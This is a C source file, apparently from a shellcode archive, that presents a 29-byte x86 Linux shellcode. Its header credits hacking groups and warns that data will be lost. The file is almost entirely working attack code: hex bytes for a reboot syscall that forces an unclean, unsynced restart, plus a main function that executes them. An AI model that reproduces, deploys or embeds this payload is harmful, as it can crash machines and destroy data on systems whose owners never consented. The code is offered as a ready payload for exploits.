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Title  : hard reboot (without any message) and data will be lost shellcode
Name   : 29 bytes hard / unclean reboot with data will be lost x86 linux shellcode
Date   : Thu Jun  3 12:56:45 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux ubuntu 9.04 , may cause fsck and fsck is failed (run fsck manually as root)
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew
*/
#include <stdio.h>

char *shellcode=
  "\x31\xc0"                    /* xor    %eax,%eax */
  "\xb0\x58"                    /* mov    $0x58,%al */
  "\xbb\xad\xde\xe1\xfe"        /* mov    $0xfee1dead,%ebx */
  "\xb9\x69\x19\x12\x28"        /* mov    $0x28121969,%ecx */
  "\xba\x67\x45\x23\x01"        /* mov    $0x1234567,%edx */
  "\xcd\x80"                    /* int    $0x80 */
  "\x31\xc0"                    /* xor    %eax,%eax */
  "\xb0\x01"                    /* mov    $0x1,%al */
  "\x31\xdb"                    /* xor    %ebx,%ebx */
  "\xcd\x80";                   /* int    $0x80 */

int main(void)
{
  fprintf(stdout,"Length: %d\n",strlen(shellcode));
  ((void (*)(void)) shellcode)();
  return 0;
}